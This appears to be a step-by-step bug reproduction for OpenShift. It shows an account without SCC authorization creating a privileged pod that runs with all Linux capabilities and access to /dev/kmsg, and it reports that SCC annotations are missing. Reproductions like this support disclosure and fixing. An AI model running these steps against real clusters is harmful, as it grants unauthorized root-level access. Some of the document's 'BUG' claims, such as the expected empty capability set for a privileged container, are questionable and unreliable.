### :one: Create Custom SCC
```bash
cat <<EOF | oc apply -f -
apiVersion: security.openshift.io/v1
kind: SecurityContextConstraints
metadata:
  name: test-restricted-scc
allowPrivilegedContainer: true
users: [system:serviceaccount:default:test-authorized-sa]
# ... other fields ...
EOF
```
**Output:** `securitycontextconstraints.security.openshift.io/test-restricted-scc created`

---

### :two: Create Unauthorized User
```bash
oc create sa testuser-login -n default
oc create sa test-unauthorized-sa -n default
oc adm policy add-role-to-user edit system:serviceaccount:default:testuser-login -n default
```
**Output:** `serviceaccount/testuser-login created`

---

### :three: Login as Unauthorized User
```bash
TOKEN=$(oc create token testuser-login -n default --duration=1h)
oc config set-credentials testuser-login --token=$TOKEN
oc config set-context testuser-ctx --cluster=... --user=testuser-login --namespace=default
oc config use-context testuser-ctx
```
**Output:** `Switched to context "testuser-ctx"`

---

### :four: Verify NOT Authorized
```bash
$ oc whoami
system:serviceaccount:default:testuser-login

$ oc auth can-i use securitycontextconstraints/test-restricted-scc
no
```
:white_check_mark: **Confirmed: User is NOT authorized**

---

### :five: Create Privileged Pod
```bash
cat <<EOF | oc apply -f -
apiVersion: v1
kind: Pod
metadata: {name: test-actual-login, namespace: default}
spec:
  serviceAccountName: test-unauthorized-sa
  containers:
  - name: test
    image: registry.access.redhat.com/ubi8/ubi-minimal:latest
    command: ["sleep", "3600"]
    securityContext:
      privileged: true
      runAsUser: 1000
      capabilities: {drop: [ALL]}
EOF
```
**Output:** `pod/test-actual-login created`

:red_circle: **BUG: Pod admitted despite NO authorization!**

---

### :six: Verify Pod Running
```bash
$ oc get pod test-actual-login -n default
NAME                READY   STATUS    RESTARTS   AGE
test-actual-login   1/1     Running   0          10s
```
:red_circle: **BUG: Pod running (should be rejected)**

---

### :seven: Check Capabilities
```bash
$ oc exec test-actual-login -- grep CapEff /proc/1/status
CapEff: 000001ffffffffff
```
:red_circle: **BUG: ALL capabilities granted!**
- **Expected:** `0000000000000000` (no caps)
- **Actual:** `000001ffffffffff` (ALL caps = root-level privileges)

---

### :eight: Check Privileged Access
```bash
$ oc exec test-actual-login -- ls /dev/kmsg
/dev/kmsg
```
**BUG: Can access privileged kernel device!**

---

### :nine: Check SCC Annotation
```bash
$ oc get pod test-actual-login -o yaml | grep "openshift.io/scc"
(empty - no annotation)
```
 **BUG: NO SCC annotation!**

---

### :keycap_ten:Verify System Pods Also Missing SCC
```bash
$ oc get pod -n openshift-kube-apiserver -o json | jq '.items[0].metadata.annotations["openshift.io/scc"]'
null
```
**BUG: Even system pods have NO SCC annotations!**